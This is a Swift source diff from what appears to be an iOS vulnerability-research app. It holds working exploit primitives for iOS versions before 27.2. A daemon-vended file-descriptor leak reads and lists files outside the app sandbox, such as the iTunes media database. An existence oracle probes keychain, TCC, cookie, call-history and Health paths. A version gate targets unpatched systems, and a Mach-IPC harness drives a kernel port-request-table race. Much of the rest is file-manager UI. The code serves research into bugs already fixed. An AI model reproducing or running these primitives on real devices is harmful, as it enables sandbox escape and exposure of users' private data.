guard replyType == "dictionary", let r = reply else {
result.note = tl("回复类型 ") + "\(replyType)"
if let r = reply { b.release(r) }
return result
}
defer { b.release(r) }
guard let details = b.dictGetValue(r, "ByteStreamDetails") else {
result.errorCode = b.dictGetInt64(r, ".ErrorReturn")
result.note = describeError(result.errorCode)
return result
}
result.objectID = b.dictGetU64(details, "ObjectID")
result.entireLength = b.dictGetU64(details, "EntireLength")
result.serverPID = b.dictGetU64(details, "ServerPID")
let fd = b.dictDupFd(details, "FileDescriptor")
guard fd >= 0 else {
result.note = tl("回复里没有 fd")
return result
}
var st = stat()
if fstat(fd, &st) == 0 {
result.size = Int64(st.st_size)
result.mode = UInt32(st.st_mode)
result.uid = st.st_uid
result.isDirectory = (st.st_mode & 0o170000) == 0o040000
}
result.fd = fd
result.ok = true
result.note = "fd=\(fd)"
return result
}
/// Read up to `limit` bytes through a vended fd. Descriptor I/O — no path check.
func read(_ path: String, limit: Int = 8_000_000) -> (data: Data?, vend: Vend) {
var v = vend(path)
guard v.ok, v.fd >= 0 else { return (nil, v) }
defer { Darwin.close(v.fd); v.fd = -1 }
if v.isDirectory { return (nil, v) }
let size = v.size > 0 ? min(Int(v.size), limit) : limit
var buffer = [UInt8](repeating: 0, count: size)
let got = pread(v.fd, &buffer, size, 0)
guard got > 0 else { return (nil, v) }
return (Data(buffer.prefix(got)), v)
}
/// The vended fd is a directory: enumerate it.
func list(_ path: String, limit: Int = 500) -> (entries: [String], vend: Vend) {
var v = vend(path)
guard v.ok, v.fd >= 0 else { return ([], v) }
defer { Darwin.close(v.fd); v.fd = -1 }
guard v.isDirectory else { return ([], v) }
guard let dir = fdopendir(v.fd) else { return ([], v) }
var names: [String] = []
while let entry = readdir(dir) {
let name = withUnsafePointer(to: entry.pointee.d_name) { p in
p.withMemoryRebound(to: CChar.self, capacity: 1024) { String(cString: $0) }
}
if name != "." && name != ".." { names.append(name) }
if names.count >= limit { break }
}
closedir(dir) // closes the underlying fd too
v.fd = -1
return (names.sorted(), v)
}
/// Existence oracle: two distinct server-side codes disclose existence.
func probeExistence(_ path: String) -> Existence {
let v = vend(path)
if v.ok {
if v.fd >= 0 { Darwin.close(v.fd) }
return Existence(path: path, exists: true, code: 0)
}
return Existence(path: path,
exists: v.errorCode == FdLeak.errAccessDenied,
code: v.errorCode)
}
/// Control: the app's own `open()` on the same path. Must fail with EPERM — that
/// failure is what makes the daemon-vended fd the actual access vector.
func directOpenControl(_ path: String) -> String {
errno = 0
let fd = open(path, O_RDONLY)
if fd >= 0 {
Darwin.close(fd)
return tl("直接 open 成功(意外)")
}
return tl("直接 open 被拒 errno=") + "\(errno)" + tl(" (") + "\(String(cString: strerror(errno)))" + tl(")")
}
}
// MARK: - Known-good targets
/// The one directory the primitive actually reaches, mapped across 27 probes on both
/// 26.5 and 27.0: the iTunes media-library store. Photos, Messages, Contacts, TCC,
/// keychain, Safari, Health, Wallet and other app containers all return -12203.
static let readableDomain = "/private/var/mobile/Media/iTunes_Control/iTunes"
static let knownTargets: [(String, String)] = [
("MediaLibrary.sqlitedb", "\(readableDomain)/MediaLibrary.sqlitedb"),
("MediaLibrary.sqlitedb-wal", "\(readableDomain)/MediaLibrary.sqlitedb-wal"),
("MediaLibrary.sqlitedb-shm", "\(readableDomain)/MediaLibrary.sqlitedb-shm"),
("PlayCounts.plist", "\(readableDomain)/PlayCounts.plist"),
("iTunesSyncDeletes.plist", "\(readableDomain)/iTunesSyncDeletes.plist"),
("IC-Info.sidf", "\(readableDomain)/IC-Info.sidf"),
("IC-Info.sidv", "\(readableDomain)/IC-Info.sidv"),
]
/// Paths probed to establish the domain boundary. Used by the boundary module so the
/// negative result is on record rather than assumed.
static let boundaryProbes: [String] = [
"/private/var/mobile/Media",
"/private/var/mobile/Media/DCIM",
"/private/var/mobile/Media/Books",
"/private/var/mobile/Media/Recordings",
"/private/var/mobile/Library",
"/private/var/mobile/Library/Safari",
"/private/var/mobile/Library/Cookies/Cookies.binarycookies",
"/private/var/mobile/Library/TCC/TCC.db",
"/private/var/mobile/Library/Preferences/.GlobalPreferences.plist",
"/private/var/mobile/Library/CallHistoryDB/CallHistory.storedata",
"/private/var/mobile/Library/Health/healthdb_secure.sqlite",
"/private/var/mobile/Library/Passes",
"/private/var/Keychains/keychain-2.db",
"/private/var/mobile/Containers/Data/Application",
"/private/var/mobile/Containers/Shared/AppGroup",
]
}
+577
View File
@@ -0,0 +1,577 @@
import SwiftUI
import UniformTypeIdentifiers
// MARK: - File manager
//
// Full-featured within what the sandbox actually permits: navigate anywhere readable,
// jump by typing a path, bookmark locations, and perform the standard mutations with a
// real write probe behind every claim. Nothing here pretends to reach past L1.
// MARK: Clipboard for copy / move
final class FileClipboard: ObservableObject {
enum Mode { case none, copy, move }
@Published private(set) var mode: Mode = .none
@Published private(set) var paths: [String] = []
func stage(_ paths: [String], mode: Mode) {
self.paths = paths
self.mode = mode
}
func clear() {
paths = []
mode = .none
}
var isEmpty: Bool { paths.isEmpty }
}
// MARK: Bookmarks
final class Bookmarks: ObservableObject {
@Published private(set) var items: [String] = []
private let key = "cinder27.bookmarks"
init() {
items = UserDefaults.standard.stringArray(forKey: key) ?? []
if items.isEmpty {
items = [
Container.documents.path,
Container.appSupport.path,
Container.work.path,
"/System/Library/Frameworks",
"/usr/lib",
"/private/etc",
"/tmp",
"/",
]
}
}
func add(_ path: String) {
guard !items.contains(path) else { return }
items.append(path)
persist()
}
func remove(_ path: String) {
items.removeAll { $0 == path }
persist()
}
private func persist() {
UserDefaults.standard.set(items, forKey: key)
}
}
// MARK: - The pane
struct FilesPane: View {
@EnvironmentObject private var browser: FileBrowser
@EnvironmentObject private var clipboard: FileClipboard
@EnvironmentObject private var bookmarks: Bookmarks
@State private var jumpShown = false
@State private var jumpPath = ""
@State private var newFolderShown = false
@State private var newFolderName = ""
@State private var renameTarget: FileItem?
@State private var renameName = ""
@State private var preview: FileItem?
@State private var info: FileItem?
@State private var status: String?
@State private var confirmDelete: FileItem?
@State private var searchText = ""
@State private var selecting = false
@State private var selection = Set<String>()
@State private var sortMode = 0
private var visible: [FileItem] {
var list = browser.items
if !searchText.isEmpty {
list = list.filter { $0.name.localizedCaseInsensitiveContains(searchText) }
}
switch sortMode {
case 1: list.sort { $0.size > $1.size }
case 2: list.sort { ($0.modified ?? .distantPast) > ($1.modified ?? .distantPast) }
case 3: list.sort { $0.name.localizedStandardCompare($1.name) == .orderedDescending }
default: break
}
return list
}
var body: some View {
VStack(spacing: 0) {
bookmarkBar
pathBar
searchBar
if let status = status {
HStack(spacing: 6) {
Image(systemName: status.hasPrefix("✓") ? "checkmark.circle.fill" : "exclamationmark.triangle.fill")
.font(.system(size: 10))
Text(status).font(T.monoSm).lineLimit(2)
Spacer()
Button { self.status = nil } label: {
Image(systemName: "xmark").font(.system(size: 9, weight: .bold))
}
}
.foregroundColor(status.hasPrefix("✓") ? T.good : T.warn)
.padding(.horizontal, 16).padding(.bottom, 6)
}
if let error = browser.error {
Text(error).font(T.monoSm).foregroundColor(T.bad)
.frame(maxWidth: .infinity, alignment: .leading)
.padding(.horizontal, 16).padding(.bottom, 6)
.fixedSize(horizontal: false, vertical: true)
}
if !clipboard.isEmpty {
clipboardBar
}
List {
ForEach(visible) { item in
row(item)
}
}
.listStyle(.plain)
.scrollContentBackground(.hidden)
.refreshable { browser.reload() }
}
.toolbar {
ToolbarItemGroup(placement: .topBarTrailing) {
Menu {
Button { jumpShown = true } label: { Label(t("files.jump"), systemImage: "arrow.right.to.line") }
Button { newFolderShown = true } label: { Label(t("files.newFolder"), systemImage: "folder.badge.plus") }
Divider()
Button { bookmarks.add(browser.path); status = tl("✓ 已加入书签") } label: {
Label(t("files.bookmarks"), systemImage: "bookmark")
}
Divider()
Picker("", selection: $sortMode) {
Text(t("files.name")).tag(0)
Text("Size").tag(1)
Text("Date").tag(2)
Text("Z→A").tag(3)
}
} label: {
Image(systemName: "ellipsis.circle")
}.tint(T.ember)
}
}
.sheet(isPresented: $jumpShown) { jumpSheet }
.sheet(item: $preview) { item in
FilePreviewView(item: item).environmentObject(browser)
}
.sheet(item: $info) { item in
FileInfoSheet(item: item, browser: browser)
}
.alert(t("files.newFolder"), isPresented: $newFolderShown) {
TextField(t("files.name"), text: $newFolderName)
Button(t("common.ok")) {
if let err = browser.makeDirectory(newFolderName) {
status = err
} else {
status = tl("✓ 已创建 ") + "\(newFolderName)"
}
newFolderName = ""
}
Button(t("files.cancel"), role: .cancel) { newFolderName = "" }
}
.alert(t("files.rename"), isPresented: Binding(
get: { renameTarget != nil },
set: { if !$0 { renameTarget = nil } })) {
TextField(t("files.name"), text: $renameName)
Button(t("common.ok")) {
if let target = renameTarget {
if let err = browser.rename(target, to: renameName) {
status = err
} else {
status = "✓ \(t("files.renamed")) → \(renameName)"
}
}
renameTarget = nil
}
Button(t("files.cancel"), role: .cancel) { renameTarget = nil }
}
.alert("\(t("files.delete"))?", isPresented: Binding(
get: { confirmDelete != nil },
set: { if !$0 { confirmDelete = nil } })) {
Button(t("files.delete"), role: .destructive) {
if let target = confirmDelete {
if let err = browser.delete(target) {
status = err
} else {
status = "✓ \(t("files.deleted")) \(target.name)"
}
}
confirmDelete = nil
}
Button(t("files.cancel"), role: .cancel) { confirmDelete = nil }
} message: {
Text(confirmDelete?.path ?? "")
}
}
// MARK: Bars
private var bookmarkBar: some View {
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 7) {
ForEach(bookmarks.items, id: \.self) { path in
Button {
browser.chdir(path)
} label: {
Pill(text: (path as NSString).lastPathComponent.isEmpty ? "/" : (path as NSString).lastPathComponent,
color: browser.path == path ? T.ember : .white.opacity(0.45))
}
.contextMenu {
Button(t("files.delete"), role: .destructive) { bookmarks.remove(path) }
}
}
}
.padding(.horizontal, 16)
.padding(.vertical, 8)
}
}
private var pathBar: some View {
HStack(spacing: 8) {
Button { browser.up() } label: {
Image(systemName: "arrow.up").font(.system(size: 12, weight: .bold))
}.tint(T.ember)
Button {
jumpPath = browser.path
jumpShown = true
} label: {
HStack(spacing: 4) {
Text(browser.path)
.font(T.monoSm)
.foregroundColor(.white.opacity(0.5))
.lineLimit(1)
.truncationMode(.head)
Image(systemName: "chevron.down").font(.system(size: 8, weight: .bold))
.foregroundColor(.white.opacity(0.3))
}
}
.buttonStyle(.plain)
Spacer()
if browser.writable {
Pill(text: t("files.writable"), color: T.good)
} else {
Pill(text: t("files.readonly"), color: T.warn)
}
Button { browser.reload() } label: {
Image(systemName: "arrow.clockwise").font(.system(size: 12, weight: .bold))
}.tint(T.ember)
}
.padding(.horizontal, 16)
.padding(.bottom, 6)
}
private var searchBar: some View {
HStack(spacing: 7) {
Image(systemName: "magnifyingglass").font(.system(size: 11)).foregroundColor(.white.opacity(0.3))
TextField(t("files.name"), text: $searchText)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
if !searchText.isEmpty {
Button { searchText = "" } label: {
Image(systemName: "xmark.circle.fill").font(.system(size: 11))
}.tint(.white.opacity(0.3))
}
Text("\(visible.count)").font(T.monoSm).foregroundColor(.white.opacity(0.25))
}
.padding(.horizontal, 10).padding(.vertical, 7)
.background(RoundedRectangle(cornerRadius: 9).fill(T.panel))
.padding(.horizontal, 16)
.padding(.bottom, 8)
}
private var clipboardBar: some View {
HStack(spacing: 8) {
Image(systemName: clipboard.mode == .copy ? "doc.on.doc" : "arrow.right.doc.on.clipboard")
.font(.system(size: 11))
.foregroundColor(T.info)
Text("\(clipboard.paths.count) · \(clipboard.mode == .copy ? t("files.copy") : t("files.move"))")
.font(T.monoSm).foregroundColor(.white.opacity(0.6))
Spacer()
Button(t("files.paste")) { paste() }
.font(.system(size: 11, weight: .semibold)).tint(T.ember)
Button(t("files.cancel")) { clipboard.clear() }
.font(.system(size: 11)).tint(.white.opacity(0.4))
}
.padding(.horizontal, 12).padding(.vertical, 8)
.background(RoundedRectangle(cornerRadius: 9).fill(T.info.opacity(0.1)))
.overlay(RoundedRectangle(cornerRadius: 9).strokeBorder(T.info.opacity(0.3), lineWidth: 1))
.padding(.horizontal, 16).padding(.bottom, 8)
}
// MARK: Row
private func row(_ item: FileItem) -> some View {
Button {
if item.isDirectory { browser.enter(item) } else { preview = item }
} label: {
HStack(spacing: 10) {
Image(systemName: item.icon)
.font(.system(size: 13))
.foregroundColor(item.isDirectory ? T.ember : .white.opacity(0.4))
.frame(width: 20)
VStack(alignment: .leading, spacing: 2) {
Text(item.name)
.font(T.body)
.foregroundColor(.white.opacity(0.86))
.lineLimit(1)
HStack(spacing: 6) {
if !item.isDirectory { Text(item.displaySize) }
if item.isSymlink { Text("→") }
if let m = item.modified {
Text(FileBrowser.dateFormatter.string(from: m))
}
}
.font(T.monoSm)
.foregroundColor(.white.opacity(0.26))
}
Spacer()
if item.isDirectory {
Image(systemName: "chevron.right")
.font(.system(size: 10, weight: .bold))
.foregroundColor(.white.opacity(0.18))
}
}
}
.listRowBackground(T.panel)
.contextMenu {
Button { info = item } label: { Label(t("files.info"), systemImage: "info.circle") }
Button {
renameTarget = item
renameName = item.name
} label: { Label(t("files.rename"), systemImage: "pencil") }
Button {
clipboard.stage([item.path], mode: .copy)
status = "✓ \(t("files.copied")) \(item.name)"
} label: { Label(t("files.copy"), systemImage: "doc.on.doc") }
Button {
clipboard.stage([item.path], mode: .move)
status = "→ \(t("files.move")) \(item.name)"
} label: { Label(t("files.move"), systemImage: "arrow.right.doc.on.clipboard") }
Button { duplicate(item) } label: { Label(t("files.duplicate"), systemImage: "plus.square.on.square") }
if item.isDirectory {
Button {
bookmarks.add(item.path)
status = tl("✓ 书签 ") + "\(item.name)"
} label: { Label(t("files.bookmarks"), systemImage: "bookmark") }
}
Divider()
Button(role: .destructive) { confirmDelete = item } label: {
Label(t("files.delete"), systemImage: "trash")
}
}
.swipeActions(edge: .trailing) {
Button(role: .destructive) { confirmDelete = item } label: {
Label(t("files.delete"), systemImage: "trash")
}
Button {
renameTarget = item
renameName = item.name
} label: { Label(t("files.rename"), systemImage: "pencil") }
.tint(T.info)
}
.swipeActions(edge: .leading) {
Button {
clipboard.stage([item.path], mode: .copy)
} label: { Label(t("files.copy"), systemImage: "doc.on.doc") }
.tint(T.ember)
}
}
// MARK: Jump sheet
private var jumpSheet: some View {
NavigationStack {
ScrollView {
VStack(alignment: .leading, spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: t("files.path"))
TextField("/path/to/directory", text: $jumpPath)
.font(T.mono)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(9)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
HStack(spacing: 8) {
Button(t("files.done")) {
browser.chdir(jumpPath)
jumpShown = false
}
.font(.system(size: 13, weight: .semibold))
.tint(T.ember)
Spacer()
Button("~/Documents") {
jumpPath = Container.documents.path
}.font(T.monoSm).tint(.white.opacity(0.4))
Button("/") { jumpPath = "/" }
.font(T.monoSm).tint(.white.opacity(0.4))
}
}
}
Card {
VStack(alignment: .leading, spacing: 6) {
SectionLabel(text: t("files.bookmarks"))
ForEach(bookmarks.items, id: \.self) { path in
Button {
browser.chdir(path)
jumpShown = false
} label: {
HStack(spacing: 8) {
Image(systemName: "folder.fill")
.font(.system(size: 11)).foregroundColor(T.ember)
Text(Container.shortPath(URL(fileURLWithPath: path)))
.font(T.monoSm).foregroundColor(.white.opacity(0.7))
.lineLimit(1).truncationMode(.middle)
Spacer()
}
}
}
}
}
}
.padding(16)
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(t("files.jump"))
.navigationBarTitleDisplayMode(.inline)
.toolbar {
ToolbarItem(placement: .topBarTrailing) {
Button(t("files.cancel")) { jumpShown = false }.tint(T.ember)
}
}
}
}
// MARK: Operations
private func paste() {
let fm = FileManager.default
var ok = 0
var failed: [String] = []
for source in clipboard.paths {
let name = (source as NSString).lastPathComponent
let dest = (browser.path as NSString).appendingPathComponent(name)
guard dest != source else { continue }
do {
if fm.fileExists(atPath: dest) {
// never silently overwrite
let stem = (name as NSString).deletingPathExtension
let ext = (name as NSString).pathExtension
var n = 2
var candidate = dest
while fm.fileExists(atPath: candidate) {
let newName = ext.isEmpty ? "\(stem) \(n)" : "\(stem) \(n).\(ext)"
candidate = (browser.path as NSString).appendingPathComponent(newName)
n += 1
}
if clipboard.mode == .copy {
try fm.copyItem(atPath: source, toPath: candidate)
} else {
try fm.moveItem(atPath: source, toPath: candidate)
}
} else {
if clipboard.mode == .copy {
try fm.copyItem(atPath: source, toPath: dest)
} else {
try fm.moveItem(atPath: source, toPath: dest)
}
}
ok += 1
} catch {
failed.append("\(name): \(Container.describe(errno))")
}
}
browser.reload()
if failed.isEmpty {
status = "✓ \(clipboard.mode == .copy ? t("files.copied") : t("files.moved")) \(ok)"
clipboard.clear()
} else {
status = failed.joined(separator: " · ")
}
}
private func duplicate(_ item: FileItem) {
let fm = FileManager.default
let dir = (item.path as NSString).deletingLastPathComponent
let stem = (item.name as NSString).deletingPathExtension
let ext = (item.name as NSString).pathExtension
var n = 2
var candidate = ""
repeat {
let name = ext.isEmpty ? "\(stem) \(n)" : "\(stem) \(n).\(ext)"
candidate = (dir as NSString).appendingPathComponent(name)
n += 1
} while fm.fileExists(atPath: candidate)
do {
try fm.copyItem(atPath: item.path, toPath: candidate)
browser.reload()
status = "✓ \(t("files.copied")) \((candidate as NSString).lastPathComponent)"
} catch {
status = Container.describe(errno)
}
}
}
// MARK: - Info sheet
struct FileInfoSheet: View {
let item: FileItem
@ObservedObject var browser: FileBrowser
@Environment(\.dismiss) private var dismiss
var body: some View {
NavigationStack {
ScrollView {
VStack(alignment: .leading, spacing: 12) {
Card {
VStack(alignment: .leading, spacing: 2) {
ForEach(Array(browser.fileInfo(item).enumerated()), id: \.offset) { _, row in
KeyValueRow(key: row.0, value: row.1)
}
}
}
if !item.isDirectory {
Card {
VStack(alignment: .leading, spacing: 6) {
SectionLabel(text: t("files.hex"))
Text(FileLoader.hexDump(at: item.path, limit: 2048) ?? "—")
.font(.system(size: 9.5, design: .monospaced))
.foregroundColor(.white.opacity(0.6))
.textSelection(.enabled)
}
}
}
}
.padding(16)
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(item.name)
.navigationBarTitleDisplayMode(.inline)
.toolbar {
ToolbarItem(placement: .topBarTrailing) {
Button(t("module.close")) { dismiss() }.tint(T.ember)
}
}
}
}
}
+206
View File
@@ -0,0 +1,206 @@
import SwiftUI
// MARK: - Launch gate
//
// The tool is only meaningful below 27.2: every primitive here demonstrates a check Apple
// added in 27.2. On 27.2+ nothing fires, so the honest behaviour is to say so and stop —
// not to show a workbench full of buttons that can only fail.
enum VersionGate {
enum Result {
case supported(major: Int, minor: Int, build: String)
case unsupported(major: Int, minor: Int, build: String)
}
static func evaluate() -> Result {
let v = ProcessInfo.processInfo.operatingSystemVersion
let build = sysctlString("kern.osversion") ?? "—"
// Supported window: 17.0 through 27.1.
//
// The lower bound is the app's own deployment target — below 17.0 the binary will
// not launch at all, so it cannot be reached from here. Between 17.0 and 26.x the
// fix window has not happened yet, so every primitive in this build is live. 27.0
// and 27.1 sit immediately before the 27.2 gate wave and are the primary targets.
// From 27.2 onward every check these primitives demonstrate already shipped.
let supported: Bool
if v.majorVersion < 17 {
supported = false // below the deployment target
} else if v.majorVersion < 27 {
supported = true // 17.0 … 26.x — fixes not yet shipped
} else if v.majorVersion == 27 {
supported = v.minorVersion < 2 // 27.0, 27.1
} else {
supported = false // 27.2+ / 28+ — patched
}
// An explicit override exists for research builds where the version string lies.
if ProcessInfo.processInfo.environment["CINDER27_FORCE_GATE"] == "1" {
return .supported(major: v.majorVersion, minor: v.minorVersion, build: build)
}
return supported
? .supported(major: v.majorVersion, minor: v.minorVersion, build: build)
: .unsupported(major: v.majorVersion, minor: v.minorVersion, build: build)
}
static var isSupported: Bool {
if case .supported = evaluate() { return true }
return false
}
}
struct GateView: View {
@State private var phase: Phase = .checking
@State private var entered = false
enum Phase {
case checking
case supported(major: Int, minor: Int, build: String)
case unsupported(major: Int, minor: Int, build: String)
}
var body: some View {
ZStack {
T.bg.ignoresSafeArea()
if entered, case let .supported(major, minor, build) = phase {
RootView()
.environment(\.gateInfo, GateInfo(major: major, minor: minor, build: build))
.transition(.opacity)
} else {
content
.transition(.opacity)
}
}
.animation(.easeInOut(duration: 0.25), value: entered)
.onAppear(perform: check)
.onChange(of: phaseText) { _, _ in
// Headless harness: CINDER27_AUTOENTER=1 walks through the gate so tab
// screenshots and autoruns do not need a tap.
if ProcessInfo.processInfo.environment["CINDER27_AUTOENTER"] == "1",
case .supported = phase, !entered {
entered = true
}
}
}
@ViewBuilder
private var content: some View {
VStack(spacing: 22) {
Spacer()
VStack(spacing: 10) {
Text("Cinder27")
.font(.system(size: 34, weight: .bold, design: .rounded))
.foregroundColor(.white)
Text(t("ov.headline"))
.font(.system(size: 13, weight: .medium, design: .rounded))
.foregroundColor(.white.opacity(0.4))
.multilineTextAlignment(.center)
}
switch phase {
case .checking:
VStack(spacing: 12) {
ProgressView().tint(T.ember)
Text(t("gate.checking"))
.font(T.body).foregroundColor(.white.opacity(0.5))
}
.padding(.top, 20)
case let .supported(major, minor, build):
Card {
VStack(alignment: .leading, spacing: 10) {
HStack(spacing: 8) {
Image(systemName: "checkmark.seal.fill")
.font(.system(size: 14))
.foregroundColor(T.good)
Text(t("gate.supported"))
.font(.system(size: 15, weight: .semibold, design: .rounded))
.foregroundColor(T.good)
}
KeyValueRow(key: t("gate.detected"), value: "iOS \(major).\(minor)")
KeyValueRow(key: t("gate.build"), value: build)
KeyValueRow(key: t("gate.required"), value: "17.0 – 27.1")
}
}
.padding(.horizontal, 24)
RunButton(title: t("gate.enter"), systemImage: "arrow.right.circle.fill", tint: T.ember) {
entered = true
}
.padding(.horizontal, 24)
case let .unsupported(major, minor, build):
Card {
VStack(alignment: .leading, spacing: 10) {
HStack(spacing: 8) {
Image(systemName: "xmark.octagon.fill")
.font(.system(size: 14))
.foregroundColor(T.bad)
Text(t("gate.unsupported.title"))
.font(.system(size: 15, weight: .semibold, design: .rounded))
.foregroundColor(T.bad)
}
KeyValueRow(key: t("gate.detected"), value: "iOS \(major).\(minor)", tint: T.bad)
KeyValueRow(key: t("gate.build"), value: build)
KeyValueRow(key: t("gate.required"), value: "17.0 – 27.1")
Divider().overlay(T.stroke)
Text(t("gate.unsupported.body"))
.font(T.body)
.foregroundColor(.white.opacity(0.62))
.fixedSize(horizontal: false, vertical: true)
}
}
.padding(.horizontal, 24)
RunButton(title: t("gate.recheck"), systemImage: "arrow.clockwise", tint: T.info) {
check()
}
.padding(.horizontal, 24)
}
Spacer()
Text("Cinder27 · \(Lang.resolved.native)")
.font(T.tiny)
.foregroundColor(.white.opacity(0.22))
.padding(.bottom, 18)
}
}
private var phaseText: String {
switch phase {
case .checking: return "checking"
case let .supported(m, n, _): return "ok-\(m).\(n)"
case let .unsupported(m, n, _): return "no-\(m).\(n)"
}
}
private func check() {
phase = .checking
DispatchQueue.main.asyncAfter(deadline: .now() + 0.45) {
switch VersionGate.evaluate() {
case let .supported(major, minor, build):
phase = .supported(major: major, minor: minor, build: build)
case let .unsupported(major, minor, build):
phase = .unsupported(major: major, minor: minor, build: build)
}
}
}
}
struct GateInfo {
let major: Int
let minor: Int
let build: String
}
private struct GateInfoKey: EnvironmentKey {
static let defaultValue = GateInfo(major: 0, minor: 0, build: "—")
}
extension EnvironmentValues {
var gateInfo: GateInfo {
get { self[GateInfoKey.self] }
set { self[GateInfoKey.self] = newValue }
}
}
+158
View File
@@ -0,0 +1,158 @@
import Foundation
import Combine
/// Write-ahead journal. Every primitive that can terminate the process arms an entry
/// before the trigger and disarms it after. An entry still armed at the next launch is a
/// process death inside that primitive — the differential oracle, generalized.
struct JournalEntry: Codable, Identifiable, Equatable {
var id: UUID = UUID()
var moduleID: String
var phase: String // armed | done | threw | died
var armedAt: Date
var detail: String
}
final class GuardJournal: ObservableObject {
@Published private(set) var entries: [JournalEntry] = []
@Published private(set) var recovered: [JournalEntry] = []
private let url: URL
private let lock = NSLock()
private let encoder: JSONEncoder = {
let e = JSONEncoder(); e.dateEncodingStrategy = .iso8601; return e
}()
private let decoder: JSONDecoder = {
let d = JSONDecoder(); d.dateDecodingStrategy = .iso8601; return d
}()
init() {
// Container.ensureAll() guarantees Application Support exists; the URL alone does not.
let base = Container.appSupport
url = base.appendingPathComponent("cinder27-journal.json")
load()
}
/// Bumped whenever the primitive set changes. Results recorded under a different stamp
/// describe a different app, so they are dropped rather than shown as if they still
/// apply — otherwise a reinstall over an old build reports work that never happened in
/// this one.
static let buildStamp: String = {
let version = (Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String) ?? "0"
let build = (Bundle.main.infoDictionary?["CFBundleVersion"] as? String) ?? "0"
let count = Catalog.all.count
return "\(version).\(build).\(count)"
}()
private var stampURL: URL {
url.deletingLastPathComponent().appendingPathComponent("cinder27-journal.stamp")
}
private func load() {
let stored = (try? String(contentsOf: stampURL, encoding: .utf8))?
.trimmingCharacters(in: .whitespacesAndNewlines)
guard stored == Self.buildStamp else {
// First launch, or the primitive set changed: start from nothing.
entries = []
recovered = []
persistLocked([])
try? Self.buildStamp.write(to: stampURL, atomically: true, encoding: .utf8)
return
}
guard let data = try? Data(contentsOf: url),
let decoded = try? decoder.decode([JournalEntry].self, from: data) else { return }
let died = decoded.filter { $0.phase == "armed" }
let rewritten = decoded.map { e -> JournalEntry in
guard e.phase == "armed" else { return e }
var copy = e
copy.phase = "died"
return copy
}
entries = rewritten
recovered = died
if !died.isEmpty { persistLocked(rewritten) }
}
private func persistLocked(_ list: [JournalEntry]) {
guard let data = try? encoder.encode(list) else { return }
try? data.write(to: url, options: .atomic)
let fd = open(url.path, O_RDONLY)
if fd >= 0 { fsync(fd); close(fd) }
}
private func persist() {
persistLocked(entries)
}
func arm(_ moduleID: String, _ detail: String) {
lock.lock()
entries.append(JournalEntry(moduleID: moduleID, phase: "armed", armedAt: Date(), detail: detail))
persist()
lock.unlock()
refresh()
}
func disarm(_ moduleID: String, phase: String = "done", detail: String = "") {
lock.lock()
for i in entries.indices.reversed() where entries[i].moduleID == moduleID && entries[i].phase == "armed" {
entries[i].phase = phase
if !detail.isEmpty { entries[i].detail = detail }
break
}
persist()
lock.unlock()
refresh()
}
func clear() {
lock.lock()
entries.removeAll()
recovered.removeAll()
persist()
lock.unlock()
refresh()
}
private func refresh() {
let snapshot = entries
DispatchQueue.main.async { [weak self] in
self?.objectWillChange.send()
self?.entries = snapshot
}
}
func history(for moduleID: String) -> [JournalEntry] {
lock.lock(); defer { lock.unlock() }
return entries.filter { $0.moduleID == moduleID }
}
func verdict(for moduleID: String) -> LabVerdict {
lock.lock(); defer { lock.unlock() }
let mine = entries.filter { $0.moduleID == moduleID }
guard !mine.isEmpty else { return .untested }
if mine.contains(where: { $0.phase == "died" }) { return .processDied }
if mine.contains(where: { $0.phase == "threw" }) { return .refused }
if mine.contains(where: { $0.phase == "done" }) { return .completed }
return .running
}
}
enum LabVerdict: String, Codable {
case untested
case running
case completed
case refused
case processDied
/// Localization key; callers go through t().
var key: String {
switch self {
case .untested: return "lab.untested"
case .running: return "lab.running"
case .completed: return "lab.completed"
case .refused: return "lab.refused"
case .processDied: return "lab.died"
}
}
var label: String { t(key) }
}
+258
View File
@@ -0,0 +1,258 @@
import Foundation
import Darwin
/// Mach-IPC surface exercises for the XNU cluster fixed in 27.2.
///
/// The 27.2 kernel added a validation wave over every index-consumer of the per-space
/// port-request table (ipc_port.c:21/24/34/38/40/41 — `ipr != NULL`, `table != NULL`).
/// The pre-fix paths index that table with the space's *saved* request-table index and
/// never compare it to the table size:
///
/// free path — bounds are computed into a register and then DISCARDED; the unchecked
/// base still does `ldr` / `str w11,[x12,#8]` / `str xzr,[x12]`.
/// mark path — `add x8, x8, w2, uxtw #4` with no bounds computation at all, then a
/// read-modify-write of a bit in whatever it lands on.
/// type query — `ldr x8, [x8, x9]` with no check; the loaded bits classify the
/// notification type returned to the caller.
///
/// The reachable shape is a stale-index race: request-table grow / teardown concurrent
/// with a notification registration or a send. This harness drives exactly that
/// interleaving and counts the kernel's own return codes.
///
/// Resource discipline is the hard constraint here. The task port name space is finite
/// (a few thousand entries); a harness that allocates without bound gets the process
/// SIGKILLed by jetsam long before it proves anything, and that kill is indistinguishable
/// from a crash in the journal. So every port is tracked, every right is released, and a
/// hard budget caps total allocation per run.
enum KernelIPC {
/// Ceiling on simultaneously live port names. Well under the name-space limit, so the
/// process is never the thing that fails.
private static let liveBudget = 512
/// Ceiling on total allocations per run, to bound wall-clock and churn.
private static let totalBudget = 6_000
struct Stats {
var operations: Int = 0
var allocations: Int = 0
var notifications: Int = 0
var sends: Int = 0
var deallocations: Int = 0
var budgetExhausted = false
var notificationsRefused = 0
var kernelErrors: [String: Int] = [:]
var summary: String {
var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) "
s += "send=\(sends) dealloc=\(deallocations)"
if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") }
if notificationsRefused > 0 {
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次 —— 该平台不允许对自身端口注册通知,")
s += tl("请求表路径无法被武装。真机上应返回 KERN_SUCCESS。")
}
if !kernelErrors.isEmpty {
s += "\n" + kernelErrors.sorted { $0.value > $1.value }
.map { " \($0.key) × \($0.value)" }.joined(separator: "\n")
} else {
s += tl("\n内核未返回任何错误码")
}
return s
}
}
static func name(_ kr: kern_return_t) -> String {
switch kr {
case KERN_SUCCESS: return "KERN_SUCCESS"
case KERN_INVALID_NAME: return "KERN_INVALID_NAME"
